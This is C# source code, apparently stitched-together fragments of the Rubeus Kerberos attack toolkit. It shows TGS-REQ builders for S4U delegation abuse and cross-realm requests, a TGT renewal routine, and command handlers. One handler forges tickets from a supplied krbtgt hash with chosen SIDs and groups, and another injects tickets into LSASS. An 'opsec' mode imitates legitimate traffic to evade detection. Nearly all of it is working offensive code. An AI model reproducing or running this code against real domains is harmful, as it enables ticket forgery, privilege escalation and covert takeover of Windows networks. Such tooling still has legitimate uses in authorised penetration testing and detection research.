req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } // real traffic have these etypes except when requesting a TGT, then only else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt")) { req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; req.req_body.sname.name_string.Add(userName); if (!opsec) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; } if (opsec) { req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); } } else { if (enterprise) { // KRB_NT-ENTERPRISE = 10 // userPrincipalName // sAMAccountName // sAMAccountName@DomainNetBIOSName // sAMAccountName@DomainFQDN // DomainNetBIOSName\sAMAccountName // DomainFQDN\sAMAccountName req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; req.req_body.sname.name_string.Add(sname); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; } else if (parts.Length == 1) { // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); } else if (parts.Length == 2) { // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); } else if (parts.Length == 3) { // KRB_NT_SRV_HST = 3 // SPN (sname/server.domain.com/blah) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST; req.req_body.sname.name_string.Add(parts[0]); req.req_body.sname.name_string.Add(parts[1]); req.req_body.sname.name_string.Add(parts[2]); } else { Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); } } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } // needed for authenticator checksum byte[] cksum_Bytes = null; // opsec complete the request body before the creation of the AP-REQ if (opsec) { // set correct flags based on type of request req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; if (!unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; } if (unconstrained) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED; } // get hostname and hostname of SPN string hostName = Dns.GetHostName().ToUpper(); string targetHostName; if (parts.Length > 1) { targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper(); } else { targetHostName = hostName; } // create enc-authorization-data if target host is not the local machine if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained)) { List <AuthorizationData> tmp = new List <AuthorizationData>(); AuthorizationData restrictions = new AuthorizationData(Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS); AuthorizationData kerbLocal = new AuthorizationData(Interop.AuthorizationDataType.KERB_LOCAL); tmp.Add(restrictions); tmp.Add(kerbLocal); AuthorizationData authorizationData = new AuthorizationData(tmp); byte[] authorizationDataBytes = authorizationData.Encode().Encode(); byte[] enc_authorization_data = Crypto.KerberosEncrypt(requestEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes); req.req_body.enc_authorization_data = new EncryptedData((Int32)requestEType, enc_authorization_data); } // S4U requests have a till time of 15 minutes in the future if (!String.IsNullOrEmpty(s4uUser)) { DateTime till = DateTime.Now; till = till.AddMinutes(15); req.req_body.till = till; } // encode req_body for authenticator cksum AsnElt req_Body_ASN = req.req_body.Encode(); AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue(); cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5); } // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes); req.padata.Add(padata); // moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when // forming opsec requests as they require a checksum of the request body within the authenticator and the // PADATA-TGS-REQ should go before the other PA-DATA sections if (opsec && (!String.IsNullOrEmpty(s4uUser))) { // real packets seem to lowercase the domain in these 2 PA_DATA's domain = domain.ToLower(); // PA_S4U_X509_USER commented out until we get the checksum working //PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce); //req.padata.Add(s4upadata); } // add final S4U PA-DATA if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain); req.padata.Add(s4upadata); } else if (opsec) { PA_DATA padataoptions = new PA_DATA(false, true, false, false); req.padata.Add(padataoptions); } return(req.Encode().Encode()); }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "") { TGS_REQ req = new TGS_REQ(); // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype); req.padata.Add(padata); // set the username req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = domain; // add in our encryption types req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain); req.padata.Add(s4upadata); req.req_body.sname.name_type = 1; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); //req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); } else { //// add in our encryption type //req.req_body.etypes.Add(etype); string[] parts = sname.Split('/'); PrincipalName principalName; switch (parts.Length) { case 1: principalName = req.req_body.sname; // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) principalName.name_type = 2; principalName.name_string.Add(sname); principalName.name_string.Add(domain); break; case 2: principalName = req.req_body.sname; // KRB_NT_SRV_INST = 2 // SPN (sname/server.domain.com) principalName.name_type = 2; principalName.name_string.Add(parts[0]); principalName.name_string.Add(parts[1]); break; default: Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); break; } if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } } return(req.Encode().Encode()); }
private static KRB_CRED CrossDomainKRBTGT(string userName, string domain, string domainController, string targetDomain, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType) { // die if can't get IP of DC string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Requesting the cross realm 'TGS' for {0} from {1}", targetDomain, domainController); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, targetDomain, ticket, clientKey, etype, requestEType); Console.WriteLine("[*] Sending cross realm TGS request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] cross realm TGS success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); PrintTicket(kirbiBytes, "base64(ticket.kirbi)"); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); return(kirbi); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", bool display = true) { string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName); } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, true, ""); byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] TGT renewal request successful!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
//TODO: Insert DHKeyPair parameter also. public static AS_REQ NewASReq(string userName, string domain, X509Certificate2 cert, KDCKeyAgreement agreement, Interop.KERB_ETYPE etype, bool verifyCerts = false) { // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP // used for "legit" AS-REQs w/ pre-auth // set pre-auth AS_REQ req = new AS_REQ(cert, agreement, verifyCerts); // req.padata.Add() // set the username to request a TGT for req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = domain; // KRB_NT_SRV_INST = 2 // service and other unique instance (krbtgt) req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; req.req_body.sname.name_string.Add("krbtgt"); req.req_body.sname.name_string.Add(domain); // add in our encryption type req.req_body.etypes.Add(etype); return(req); }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: Build TGT\r\n"); // variable defaults string user = ""; int? id = null; string sids = ""; string groups = ""; string displayName = ""; short? logonCount = null; short? badPwdCount = null; DateTime? lastLogon = null; DateTime? logoffTime = null; DateTime? pwdLastSet = null; int? maxPassAge = null; int? minPassAge = null; int? pGid = null; string homeDir = ""; string homeDrive = ""; string profilePath = ""; string scriptPath = ""; string resourceGroupSid = ""; List <int> resourceGroups = null; Interop.PacUserAccountControl uac = Interop.PacUserAccountControl.NORMAL_ACCOUNT; string domain = ""; string dc = ""; string sid = ""; string netbios = ""; bool ldap = false; string ldapuser = null; string ldappassword = null; string hash = ""; Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent | Interop.TicketFlags.initial; DateTime startTime = DateTime.UtcNow; DateTime authTime = startTime; DateTime?rangeEnd = null; string rangeInterval = "1d"; string endTime = ""; string renewTill = ""; string outfile = ""; bool ptt = false; bool printcmd = false; // user information mostly for the PAC if (arguments.ContainsKey("/user")) { string[] parts = arguments["/user"].Split('\\'); if (parts.Length == 2) { domain = parts[0]; user = parts[1]; } else { user = arguments["/user"]; } } if (arguments.ContainsKey("/sids")) { sids = arguments["/sids"]; } if (arguments.ContainsKey("/groups")) { groups = arguments["/groups"]; } if (arguments.ContainsKey("/id")) { id = Int32.Parse(arguments["/id"]); } if (arguments.ContainsKey("/pgid")) { pGid = Int32.Parse(arguments["/pgid"]); } if (arguments.ContainsKey("/displayname")) { displayName = arguments["/displayname"]; } if (arguments.ContainsKey("/logoncount")) { logonCount = short.Parse(arguments["/logoncount"]); } if (arguments.ContainsKey("/badpwdcount")) { badPwdCount = short.Parse(arguments["/badpwdcount"]); } if (arguments.ContainsKey("/lastlogon")) { lastLogon = DateTime.Parse(arguments["/lastlogon"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } if (arguments.ContainsKey("/logofftime")) { logoffTime = DateTime.Parse(arguments["/logofftime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } if (arguments.ContainsKey("/pwdlastset")) { pwdLastSet = DateTime.Parse(arguments["/pwdlastset"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } if (arguments.ContainsKey("/maxpassage")) { maxPassAge = Int32.Parse(arguments["/maxpassage"]); } if (arguments.ContainsKey("/minpassage")) { minPassAge = Int32.Parse(arguments["/minpassage"]); } if (arguments.ContainsKey("/homedir")) { homeDir = arguments["/homedir"]; } if (arguments.ContainsKey("/homedrive")) { homeDrive = arguments["/homedrive"]; } if (arguments.ContainsKey("/profilepath")) { profilePath = arguments["/profilepath"]; } if (arguments.ContainsKey("/scriptpath")) { scriptPath = arguments["/scriptpath"]; } if (arguments.ContainsKey("/resourcegroupsid") && arguments.ContainsKey("/resourcegroups")) { resourceGroupSid = arguments["/resourcegroupsid"]; resourceGroups = new List <int>(); foreach (string rgroup in arguments["/resourcegroups"].Split(',')) { try { resourceGroups.Add(int.Parse(rgroup)); } catch { Console.WriteLine("[!] Resource group value invalid: {0}", rgroup); } } } if (arguments.ContainsKey("/uac")) { Interop.PacUserAccountControl tmp = Interop.PacUserAccountControl.EMPTY; foreach (string u in arguments["/uac"].Split(',')) { Interop.PacUserAccountControl result; bool status = Interop.PacUserAccountControl.TryParse(u, out result); if (status) { tmp |= result; } else { Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", u); } } if (tmp != Interop.PacUserAccountControl.EMPTY) { uac = tmp; } } // domain and DC information if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/sid")) { sid = arguments["/sid"]; } if (arguments.ContainsKey("/netbios")) { netbios = arguments["/netbios"]; } // getting the user information from LDAP if (arguments.ContainsKey("/ldap")) { ldap = true; if (arguments.ContainsKey("/creduser")) { if (!arguments.ContainsKey("/credpassword")) { Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n"); return; } ldapuser = arguments["/creduser"]; ldappassword = arguments["/credpassword"]; } if (String.IsNullOrEmpty(domain)) { domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; } } // encryption types encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified if (arguments.ContainsKey("/enctype")) { string encTypeString = arguments["/enctype"].ToUpper(); if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { encType = Interop.KERB_ETYPE.rc4_hmac; } else if (encTypeString.Equals("AES128")) { encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } else if (encTypeString.Equals("DES")) { encType = Interop.KERB_ETYPE.des_cbc_md5; } } if (arguments.ContainsKey("/des")) { hash = arguments["/des"]; encType = Interop.KERB_ETYPE.des_cbc_md5; } else if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.ContainsKey("/ntlm")) { hash = arguments["/ntlm"]; encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.ContainsKey("/aes128")) { hash = arguments["/aes128"]; encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } // flags if (arguments.ContainsKey("/flags")) { Interop.TicketFlags tmp = Interop.TicketFlags.empty; foreach (string flag in arguments["/flags"].Split(',')) { Interop.TicketFlags result; bool status = Interop.TicketFlags.TryParse(flag, out result); if (status) { tmp |= result; } else { Console.WriteLine("[X] Error the following flag name passed is not valid: {0}", flag); } } if (tmp != Interop.TicketFlags.empty) { flags = tmp; } } // ticket times if (arguments.ContainsKey("/starttime")) { try { startTime = DateTime.Parse(arguments["/starttime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } catch (Exception e) { Console.WriteLine("[X] Error unable to parse supplied /starttime {0}: {1}", arguments["/starttime"], e.Message); return; } } if (arguments.ContainsKey("/authtime")) { try { authTime = DateTime.Parse(arguments["/authtime"], CultureInfo.CurrentCulture, DateTimeStyles.AssumeLocal).ToUniversalTime(); } catch (Exception e) { Console.WriteLine("[!] Unable to parse supplied /authtime {0}: {1}", arguments["/authtime"], e.Message); authTime = startTime; } } else if (arguments.ContainsKey("/starttime")) { authTime = startTime; } if (arguments.ContainsKey("/rangeend")) { rangeEnd = Helpers.FutureDate(startTime, arguments["/rangeend"]); if (rangeEnd == null) { Console.WriteLine("[!] Ignoring invalid /rangeend argument: {0}", arguments["/rangeend"]); rangeEnd = startTime; } } if (arguments.ContainsKey("/rangeinterval")) { rangeInterval = arguments["/rangeinterval"]; } if (arguments.ContainsKey("/endtime")) { endTime = arguments["/endtime"]; } if (arguments.ContainsKey("/renewtill")) { renewTill = arguments["/renewtill"]; } // actions for the ticket(s) if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } // print a command that could be used to recreate the ticket // useful if you use LDAP to get the user information, this could be used to avoid touching LDAP again if (arguments.ContainsKey("/printcmd")) { printcmd = true; } // checks if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a [/des|/rc4|/aes128|/aes256] hash!\r\n"); return; } if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) { Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); return; } else { ForgeTickets.ForgeTicket( user, String.Format("krbtgt/{0}", domain), Helpers.StringToByteArray(hash), encType, null, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, ldap, ldapuser, ldappassword, sid, domain, netbios, dc, flags, startTime, rangeEnd, rangeInterval, authTime, endTime, renewTill, id, groups, sids, displayName, logonCount, badPwdCount, lastLogon, logoffTime, pwdLastSet, maxPassAge, minPassAge, pGid, homeDir, homeDrive, profilePath, scriptPath, resourceGroupSid, resourceGroups, uac, outfile, ptt, printcmd ); return; } }
// maybe the function above can be combined with this one? public static byte[] NewTGSReq(string userName, string targetUser, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType, bool cross = true) { // cross domain "S4U2Self" requests TGS_REQ req = new TGS_REQ(cname: false); // get domains string domain = userName.Split('@')[1]; string targetDomain = targetUser.Split('@')[1]; // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], providedTicket, clientKey, paEType); req.padata.Add(padata); // which domain is the "local" domain for this TGS if (cross) { req.req_body.realm = targetDomain; } else { req.req_body.realm = domain; } // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } PA_DATA s4upadata = new PA_DATA(clientKey, targetUser, targetDomain); req.padata.Add(s4upadata); req.req_body.sname.name_type = 10; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE; req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW; return(req.Encode().Encode()); }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("[*] Action: Ask TGT\r\n"); string user = ""; string domain = ""; string password = ""; string hash = ""; string dc = ""; string outfile = ""; string certificate = ""; bool ptt = false; LUID luid = new LUID(); Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; if (arguments.ContainsKey("/user")) { string[] parts = arguments["/user"].Split('\\'); if (parts.Length == 2) { domain = parts[0]; user = parts[1]; } else { user = arguments["/user"]; } } if (arguments.ContainsKey("/domain")) { domain = arguments["/domain"]; } if (arguments.ContainsKey("/dc")) { dc = arguments["/dc"]; } if (arguments.ContainsKey("/outfile")) { outfile = arguments["/outfile"]; } encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified if (arguments.ContainsKey("/enctype")) { string encTypeString = arguments["/enctype"].ToUpper(); if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) { encType = Interop.KERB_ETYPE.rc4_hmac; } else if (encTypeString.Equals("AES128")) { encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) { encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } else if (encTypeString.Equals("DES")) { encType = Interop.KERB_ETYPE.des_cbc_md5; } } if (arguments.ContainsKey("/password")) { password = arguments["/password"]; string salt = String.Format("{0}{1}", domain.ToUpper(), user); hash = Crypto.KerberosPasswordHash(encType, password, salt); } else if (arguments.ContainsKey("/des")) { hash = arguments["/des"]; encType = Interop.KERB_ETYPE.des_cbc_md5; } else if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.ContainsKey("/ntlm")) { hash = arguments["/ntlm"]; encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.ContainsKey("/aes128")) { hash = arguments["/aes128"]; encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/certificate")) { certificate = arguments["/certificate"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/luid")) { try { luid = new LUID(arguments["/luid"]); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); return; } } if (arguments.ContainsKey("/createnetonly")) { // if we're starting a hidden process to apply the ticket to if (!Helpers.IsHighIntegrity()) { Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); return; } if (arguments.ContainsKey("/show")) { luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true); } else { luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false); } Console.WriteLine(); } if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (String.IsNullOrEmpty(hash) && String.IsNullOrEmpty(certificate)) { Console.WriteLine("\r\n[X] You must supply a /password, /certificate or a [/des|/rc4|/aes128|/aes256] hash!\r\n"); return; } if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) { Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); return; } else { if (String.IsNullOrEmpty(certificate)) { Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true); } else { Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true); } return; } }
// To request a TGS for a foreign KRBTGT, requires 2 different domains public static byte[] NewTGSReq(string userName, string domain, string targetDomain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType) { // foreign domain "TGT" request TGS_REQ req = new TGS_REQ(cname: false); // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType); req.padata.Add(padata); req.req_body.realm = domain; // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc); } else { // add in the supported etype specified req.req_body.etypes.Add(requestEType); } PA_DATA padataoptions = new PA_DATA(false, true, false, false); req.padata.Add(padataoptions); req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add("krbtgt"); 